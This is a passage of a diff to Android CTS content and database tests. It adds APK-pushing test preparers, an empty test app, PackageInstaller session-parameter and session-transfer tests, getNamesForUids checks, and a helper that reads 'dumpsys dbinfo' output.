     <uses-permission android:name="android.permission.SET_WALLPAPER" />
     <uses-permission android:name="android.permission.BROADCAST_STICKY" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.content.cts.permission.TEST_GRANTED" />
 
     <!-- Used for PackageManager test, don't delete this INTERNET permission -->
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 92d8963..5cab0ac 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -16,10 +16,23 @@
 <configuration description="Config for CTS Content test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
+        <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsContentTestCases.apk->/data/local/tmp/cts/content/CtsContentTestCases.apk" />
+        <option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsContentTestCases.apk" />
     </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.content.cts" />
         <option name="runtime-hint" value="21m30s" />
diff --git a/tests/tests/content/emptytestapp/Android.mk b/tests/tests/content/emptytestapp/Android.mk
new file mode 100644
index 0000000..ea4d35a
--- /dev/null
+++ b/tests/tests/content/emptytestapp/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsContentEmptyTestApp
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/emptytestapp/AndroidManifest.xml b/tests/tests/content/emptytestapp/AndroidManifest.xml
new file mode 100644
index 0000000..88bc06c
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.cts.emptytestapp" >
+    <application android:hasCode="false" android:label="Empty Test App" />
+</manifest>
diff --git a/tests/tests/content/res/values-v27/strings.xml b/tests/tests/content/res/values-v27/strings.xml
new file mode 100644
index 0000000..369c92a
--- /dev/null
+++ b/tests/tests/content/res/values-v27/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+   <string name="version_cur">v27cur</string>
+</resources>
diff --git a/tests/tests/content/res/values-v28/strings.xml b/tests/tests/content/res/values-v28/strings.xml
new file mode 100644
index 0000000..fa633dc03
--- /dev/null
+++ b/tests/tests/content/res/values-v28/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+   <string name="version_cur">v28cur</string>
+</resources>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index e34aa6e..de49990 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -32,6 +32,8 @@
 import android.telecom.TelecomManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.FeatureUtil;
+
 import java.util.List;
 
 public class AvailableIntentsTest extends AndroidTestCase {
@@ -329,8 +331,12 @@
     public void testManageStorage() {
         assertCanBeHandled(new Intent(StorageManager.ACTION_MANAGE_STORAGE));
     }
- 
+
     public void testVoiceCommand() {
+        if (FeatureUtil.isLowRam()) {
+            // Low ram devices do not support voice command, skip this test
+            return;
+        }
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
             Intent intent = new Intent(Intent.ACTION_VOICE_COMMAND);
@@ -340,6 +346,10 @@
     }
 
     public void testVoiceSearchHandsFree() {
+        if (FeatureUtil.isLowRam()) {
+            // Low ram devices do not support hands-free hot word, skip this test
+            return;
+        }
         PackageManager packageManager = mContext.getPackageManager();
         if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
             Intent intent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
@@ -347,4 +357,20 @@
             assertDefaultHandlerValidPriority(intent);
         }
     }
+
+    public void testPowerUsageSummarySettings() {
+        if (isHandheld()) {
+            assertCanBeHandled(new Intent(Intent.ACTION_POWER_USAGE_SUMMARY));
+        }
+    }
+
+    private boolean isHandheld() {
+        // handheld nature is not exposed to package manager, for now
+        // we check for touchscreen and NOT watch, NOT tv and NOT car
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
+                && !pm.hasSystemFeature(pm.FEATURE_WATCH)
+                && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+                && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
new file mode 100644
index 0000000..d978b70
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_AUTO;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_INTERNAL_ONLY;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_PREFER_EXTERNAL;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_UNSPECIFIED;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_INHERIT_EXISTING;
+import static android.content.pm.PackageManager.INSTALL_REASON_DEVICE_RESTORE;
+import static android.content.pm.PackageManager.INSTALL_REASON_DEVICE_SETUP;
+import static android.content.pm.PackageManager.INSTALL_REASON_POLICY;
+import static android.content.pm.PackageManager.INSTALL_REASON_UNKNOWN;
+import static android.content.pm.PackageManager.INSTALL_REASON_USER;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.SessionInfo;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.function.Consumer;
+
+@RunWith(Parameterized.class)
+public class InstallSessionParamsUnitTest {
+    private static final String LOG_TAG = InstallSessionParamsUnitTest.class.getSimpleName();
+    private static Optional UNSET = new Optional(false, null);
+
+    @Parameterized.Parameter(0)
+    public Optional<Integer> mode;
+    @Parameterized.Parameter(1)
+    public Optional<Integer> installLocation;
+    @Parameterized.Parameter(2)
+    public Optional<Integer> size;
+    @Parameterized.Parameter(3)
+    public Optional<String> appPackageName;
+    @Parameterized.Parameter(4)
+    public Optional<Bitmap> appIcon;
+    @Parameterized.Parameter(5)
+    public Optional<String> appLabel;
+    @Parameterized.Parameter(6)
+    public Optional<Uri> originatingUri;
+    @Parameterized.Parameter(7)
+    public Optional<Integer> originatingUid;
+    @Parameterized.Parameter(8)
+    public Optional<Uri> referredUri;
+    @Parameterized.Parameter(9)
+    public Optional<Integer> installReason;
+    @Parameterized.Parameter(10)
+    public boolean expectFailure;
+
+    /**
+     * Generate test-parameters where all params are the same, but one param cycles through all
+     * values.
+     */
+    private static ArrayList<Object[]> getSingleParameterChangingTests(
+            Object[][][] allParameterValues, int changingParameterIndex,
+            Object[] changingParameterValues, boolean expectFailure) {
+        ArrayList<Object[]> params = new ArrayList<>();
+
+        for (Object changingParameterValue : changingParameterValues) {
+            ArrayList<Object> singleTestParams = new ArrayList<>();
+
+            // parameterIndex is the index of the parameter (0 = mode, ...)
+            for (int parameterIndex = 0; parameterIndex < allParameterValues.length;
+                    parameterIndex++) {
+                Object[][] parameterValues = allParameterValues[parameterIndex];
+
+                if (parameterIndex == changingParameterIndex) {
+                    if (changingParameterValue == UNSET) {
+                        // No need to wrap UNSET again
+                        singleTestParams.add(UNSET);
+                    } else {
+                        singleTestParams.add(Optional.of(changingParameterValue));
+                    }
+                } else {
+                    singleTestParams.add(Optional.of(parameterValues[0][0]));
+                }
+            }
+            singleTestParams.add(expectFailure);
+            params.add(singleTestParams.toArray());
+        }
+
+        return params;
+    }
+
+    /**
+     * Generate test-parameters for all tests.
+     */
+    @Parameterized.Parameters
+    public static Collection<Object[]> getParameters() {
+        // {{{valid parameters}, {invalid parameters}}}
+        Object[][][] allParameterValues = {
+         /*mode*/
+                {{MODE_FULL_INSTALL, MODE_INHERIT_EXISTING}, {0xfff}},
+         /*installLocation*/
+                {{INSTALL_LOCATION_UNSPECIFIED, INSTALL_LOCATION_AUTO,
+                        INSTALL_LOCATION_INTERNAL_ONLY, INSTALL_LOCATION_PREFER_EXTERNAL,
+                        /* parame is not verified */ 0xfff}, {}},
+         /*size*/
+                {{1, 8092, Integer.MAX_VALUE, /* parame is not verified */ -1, 0}, {}},
+         /*appPackageName*/
+                {{"a.package.name", null, /* param is not verified */ "android"}, {}},
+         /*appIcon*/
+                {{null, Bitmap.createBitmap(42, 42, Bitmap.Config.ARGB_8888)}, {}},
+         /*appLabel*/
+                {{"A label", null}, {}},
+         /*originatingUri*/
+                {{Uri.parse("android.com"), null}, {}},
+         /*originatingUid*/
+                {{-1, 0, 1}, {}},
+         /*referredUri*/
+                {{Uri.parse("android.com"), null}, {}},
+         /*installReason*/
+                {{INSTALL_REASON_UNKNOWN, INSTALL_REASON_POLICY, INSTALL_REASON_DEVICE_RESTORE,
+                        INSTALL_REASON_DEVICE_SETUP, INSTALL_REASON_USER,
+                        /* parame is not verified */ 0xfff}, {}}};
+
+        ArrayList<Object[]> allTestParams = new ArrayList<>();
+
+        // changingParameterIndex is the index the parameter that changes (0 = mode ...)
+        for (int changingParameterIndex = 0; changingParameterIndex < allParameterValues.length;
+                changingParameterIndex++) {
+            // Allowed values
+            allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+                    changingParameterIndex, allParameterValues[changingParameterIndex][0], false));
+
+            // Value unset (mode param cannot be unset)
+            if (changingParameterIndex != 0) {
+                Object[] unset = {UNSET};
+                allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+                        changingParameterIndex, unset, false));
+            }
+
+            // Illegal values
+            allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+                    changingParameterIndex, allParameterValues[changingParameterIndex][1], true));
+        }
+
+        return allTestParams;
+    }
+
+    /**
+     * Get the sessionInfo if this package owns the session.
+     *
+     * @param sessionId The id of the session
+     *
+     * @return The {@link PackageInstaller.SessionInfo} object, or {@code null} if session is not
+     * owned by the this package.
+     */
+    private SessionInfo getSessionInfo(int sessionId) {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+        List<SessionInfo> mySessionInfos = installer.getMySessions();
+
+        for (SessionInfo sessionInfo : mySessionInfos) {
+            if (sessionInfo.sessionId == sessionId) {
+                return sessionInfo;
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * Create a new installer session.
+     *
+     * @return The new session
+     */
+    private int createSession(SessionParams params) throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+        return installer.createSession(params);
+    }
+
+    @Test
+    public void checkSessionParams() throws Exception {
+        Log.i(LOG_TAG, "mode=" + mode + " installLocation=" + installLocation + " size=" + size
+                + " appPackageName=" + appPackageName + " appIcon=" + appIcon + " appLabel="
+                + appLabel + " originatingUri=" + originatingUri + " originatingUid="
+                + originatingUid + " referredUri=" + referredUri + " installReason=" + installReason
+                + " expectFailure=" + expectFailure);
+
+        SessionParams params = new SessionParams(mode.get());
+        installLocation.ifPresent(params::setInstallLocation);
+        size.ifPresent(params::setSize);
+        appPackageName.ifPresent(params::setAppPackageName);
+        appIcon.ifPresent(params::setAppIcon);
+        appLabel.ifPresent(params::setAppLabel);
+        originatingUri.ifPresent(params::setOriginatingUri);
+        originatingUid.ifPresent(params::setOriginatingUid);
+        referredUri.ifPresent(params::setReferrerUri);
+        installReason.ifPresent(params::setInstallReason);
+
+        int sessionId;
+        try {
+            sessionId = createSession(params);
+
+            if (expectFailure) {
+                fail("Creating session did not fail");
+            }
+        } catch (Exception e) {
+            if (expectFailure) {
+                return;
+            }
+
+            throw e;
+        }
+
+        SessionInfo info = getSessionInfo(sessionId);
+
+        assertThat(info.getMode()).isEqualTo(mode.get());
+        installLocation.ifPresent(i -> assertThat(info.getInstallLocation()).isEqualTo(i));
+        size.ifPresent(i -> assertThat(info.getSize()).isEqualTo(i));
+        appPackageName.ifPresent(s -> assertThat(info.getAppPackageName()).isEqualTo(s));
+
+        if (appIcon.isPresent()) {
+            if (appIcon.get() == null) {
+                assertThat(info.getAppIcon()).isNull();
+            } else {
+                assertThat(appIcon.get().sameAs(info.getAppIcon())).isTrue();
+            }
+        }
+
+        appLabel.ifPresent(s -> assertThat(info.getAppLabel()).isEqualTo(s));
+        originatingUri.ifPresent(uri -> assertThat(info.getOriginatingUri()).isEqualTo(uri));
+        originatingUid.ifPresent(i -> assertThat(info.getOriginatingUid()).isEqualTo(i));
+        referredUri.ifPresent(uri -> assertThat(info.getReferrerUri()).isEqualTo(uri));
+        installReason.ifPresent(i -> assertThat(info.getInstallReason()).isEqualTo(i));
+    }
+
+    /** Similar to java.util.Optional but distinguishing between null and unset */
+    private static class Optional<T> {
+        private final boolean mIsSet;
+        private final T mValue;
+
+        Optional(boolean isSet, T value) {
+            mIsSet = isSet;
+            mValue = value;
+        }
+
+        static <T> Optional of(T value) {
+            return new Optional(true, value);
+        }
+
+        T get() {
+            if (!mIsSet) {
+                throw new IllegalStateException(this + " is not set");
+            }
+            return mValue;
+        }
+
+        public String toString() {
+            if (!mIsSet) {
+                return "unset";
+            } else if (mValue == null) {
+                return "null";
+            } else {
+                return mValue.toString();
+            }
+        }
+
+        boolean isPresent() {
+            return mIsSet;
+        }
+
+        void ifPresent(Consumer<T> consumer) {
+            if (mIsSet) {
+                consumer.accept(mValue);
+            }
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
new file mode 100644
index 0000000..dd45668
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNotNull;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionInfo;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import libcore.io.Streams;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class InstallSessionTransferTest {
+    /**
+     * Get the sessionInfo if this package owns the session.
+     *
+     * @param sessionId The id of the session
+     *
+     * @return The {@link PackageInstaller.SessionInfo} object, or {@code null} if session is not
+     *         owned by the this package.
+     */
+    private SessionInfo getSessionInfo(@NonNull PackageInstaller installer,
+            int sessionId) {
+        List<SessionInfo> mySessionInfos = installer.getMySessions();
+
+        for (SessionInfo sessionInfo : mySessionInfos) {
+            if (sessionInfo.sessionId == sessionId) {
+                return sessionInfo;
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * Get name of the package installer.
+     *
+     * @return The package name of the package installer
+     */
+    private static String getPackageInstallerPackageName() throws Exception {
+        Intent installerIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
+        installerIntent.setDataAndType(Uri.fromFile(new File("foo.apk")),
+                "application/vnd.android.package-archive");
+
+        ResolveInfo installer = InstrumentationRegistry.getInstrumentation().getTargetContext()
+                .getPackageManager().resolveActivity(installerIntent,
+                        PackageManager.MATCH_DEFAULT_ONLY);
+
+        if (installer != null) {
+            return installer.activityInfo.packageName;
+        }
+
+        return null;
+    }
+
+    /**
+     * Write an APK to the session.
+     *
+     * @param session The session to write to
+     * @param name The name of the apk to write
+     */
+    private void writeApk(@NonNull Session session, @NonNull String name) throws IOException {
+        try (InputStream in = new FileInputStream("/data/local/tmp/cts/content/" + name + ".apk")) {
+            try (OutputStream out = session.openWrite(name, 0, -1)) {
+                Streams.copy(in, out);
+            }
+        }
+    }
+
+    /**
+     * Create a new installer session.
+     *
+     * @return The new session
+     */
+    private Session createSession() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+        int sessionId = installer.createSession(params);
+        return installer.openSession(sessionId);
+    }
+
+    @Test
+    public void transferSession() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+        int sessionId = installer.createSession(params);
+        Session session = installer.openSession(sessionId);
+
+        writeApk(session, "CtsContentTestCases");
+
+        InputStream danglingReadStream = session.openRead("CtsContentTestCases");
+
+        SessionInfo info = getSessionInfo(installer, sessionId);
+        assertThat(info.getInstallerPackageName()).isEqualTo(context.getPackageName());
+        assertThat(info.isSealed()).isFalse();
+
+        // This transfers the session to the new owner
+        session.transfer(packageInstallerPackage);
+        assertThat(getSessionInfo(installer, sessionId)).isNull();
+
+        try {
+            // Session is transferred, all operations on the session are invalid
+            session.getNames();
+            fail();
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        // Even when the session is transferred read streams still work and contain the same content
+        // that we initially wrote into it.
+        try (InputStream originalContent = new FileInputStream(
+                "/data/local/tmp/cts/content/CtsContentTestCases.apk")) {
+            try (InputStream sessionContent = danglingReadStream) {
+                byte[] buffer = new byte[4096];
+                while (true) {
+                    int numReadOriginal = originalContent.read(buffer);
+                    int numReadSession = sessionContent.read(buffer);
+
+                    assertThat(numReadOriginal).isEqualTo(numReadSession);
+                    if (numReadOriginal == -1) {
+                        break;
+                    }
+                }
+            }
+        }
+
+        danglingReadStream.close();
+    }
+
+    @Test
+    public void transferToInvalidNewOwner() throws Exception {
+        Session session = createSession();
+        writeApk(session, "CtsContentTestCases");
+
+        try {
+            // This will fail as the name of the new owner is invalid
+            session.transfer("android.content.cts.invalid.package");
+            fail();
+        } catch (PackageManager.NameNotFoundException e) {
+            // Expected
+        }
+
+        session.abandon();
+    }
+
+    @Test
+    public void transferToOwnerWithoutInstallPermission() throws Exception {
+        Session session = createSession();
+        writeApk(session, "CtsContentTestCases");
+
+        try {
+            // This will fail as the current package does not own the install-packages permission
+            session.transfer(InstrumentationRegistry.getInstrumentation().getTargetContext()
+                    .getPackageName());
+            fail();
+        } catch (SecurityException e) {
+            // Expected
+        }
+
+        session.abandon();
+    }
+
+    @Test
+    public void transferWithOpenWrite() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        session.openWrite("danglingWriteStream", 0, 1);
+        try {
+            // This will fail as the danglingWriteStream is still open
+            session.transfer(packageInstallerPackage);
+            fail();
+        } catch (SecurityException e) {
+            // Expected
+        }
+
+        session.abandon();
+    }
+
+    @Test
+    public void transferSessionWithInvalidApk() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        try (OutputStream out = session.openWrite("invalid", 0, 2)) {
+            out.write(new byte[]{23, 42});
+            out.flush();
+        }
+
+        try {
+            // This will fail as the content of 'invalid' is not a valid APK
+            session.transfer(packageInstallerPackage);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        session.abandon();
+    }
+
+    @Test
+    public void transferWithApkFromWrongPackage() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        writeApk(session, "CtsContentEmptyTestApp");
+
+        try {
+            // This will fail as the session contains the a apk from the wrong package
+            session.transfer(packageInstallerPackage);
+            fail();
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        session.abandon();
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 490da35e..5140e69 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -470,4 +470,29 @@
         assertNotNull("Signatures should have been collected when GET_SIGNATURES flag specified",
                 pkgInfo.signatures);
     }
+
+    public void testGetNamesForUids_null() throws Exception {
+        assertNull(mPackageManager.getNamesForUids(null));
+    }
+
+    public void testGetNamesForUids_empty() throws Exception {
+        assertNull(mPackageManager.getNamesForUids(new int[0]));
+    }
+
+    public void testGetNamesForUids_valid() throws Exception {
+        final int shimId =
+                mPackageManager.getApplicationInfo("com.android.cts.ctsshim", 0 /*flags*/).uid;
+        final int[] uids = new int[] {
+                1000,
+                Integer.MAX_VALUE,
+                shimId,
+        };
+        final String[] result;
+        result = mPackageManager.getNamesForUids(uids);
+        assertNotNull(result);
+        assertEquals(3, result.length);
+        assertEquals("shared:android.uid.system", result[0]);
+        assertEquals(null, result[1]);
+        assertEquals("com.android.cts.ctsshim", result[2]);
+    }
 }
diff --git a/tests/tests/content/src/android/content/res/cts/ConfigTest.java b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
index 8056432..faca085 100644
--- a/tests/tests/content/src/android/content/res/cts/ConfigTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
@@ -1179,7 +1179,7 @@
         checkValue(res, R.configVarying.bag,
                 R.styleable.TestConfig, new String[]{"bag dpad 63x57"});
     }
-    
+
     @MediumTest
     public void testVersions() {
         // Check that we get the most recent resources that are <= our
diff --git a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
index 23afe68..0c18b4f 100644
--- a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
+++ b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
@@ -27,7 +27,7 @@
  */
 public class PrivateAttributeTest extends AndroidTestCase {
 
-    private static final int sLastPublicAttr = 0x01010568;
+    private static final int sLastPublicAttr = 0x0101056d;
 
     public void testNoAttributesAfterLastPublicAttribute() throws Exception {
         if (!Build.VERSION.CODENAME.equals("REL")) {
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 4378dc5..0e24c15 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk
@@ -25,6 +25,7 @@
     android-common \
     ctstestrunner \
     ctstestrunner \
+    ub-uiautomator \
     junit \
     legacy-android-test
 
@@ -35,6 +36,9 @@
 LOCAL_PACKAGE_NAME := CtsDatabaseTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
new file mode 100644
index 0000000..5b52790
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+/**
+ * Common utility methods for testing
+ */
+class DatabaseTestUtils {
+
+    private static final String TAG = "SQLiteOpenHelperTest";
+
+    static boolean waitForConnectionToClose(int maxAttempts, int pollIntervalMs)
+            throws Exception {
+        for (int i = 0; i < maxAttempts; i++) {
+            String output = getDbInfoOutput();
+            Log.d(TAG, "waitForConnectionToClose #" + i + ": " + output);
+            if (!output.contains("Connection #0:")) {
+                return true;
+            }
+            Thread.sleep(pollIntervalMs);
+        }
+        return false;
+    }
+
+    static String getDbInfoOutput() throws Exception {
+        Context ctx = InstrumentationRegistry.getInstrumentation().getContext();
+        return executeShellCommand("dumpsys dbinfo " + ctx.getPackageName());
+    }
+
+    static String executeShellCommand(String cmd) throws Exception {
+        return UiDevice.getInstance(
+                InstrumentationRegistry.getInstrumentation()).executeShellCommand(cmd);
+    }
+}
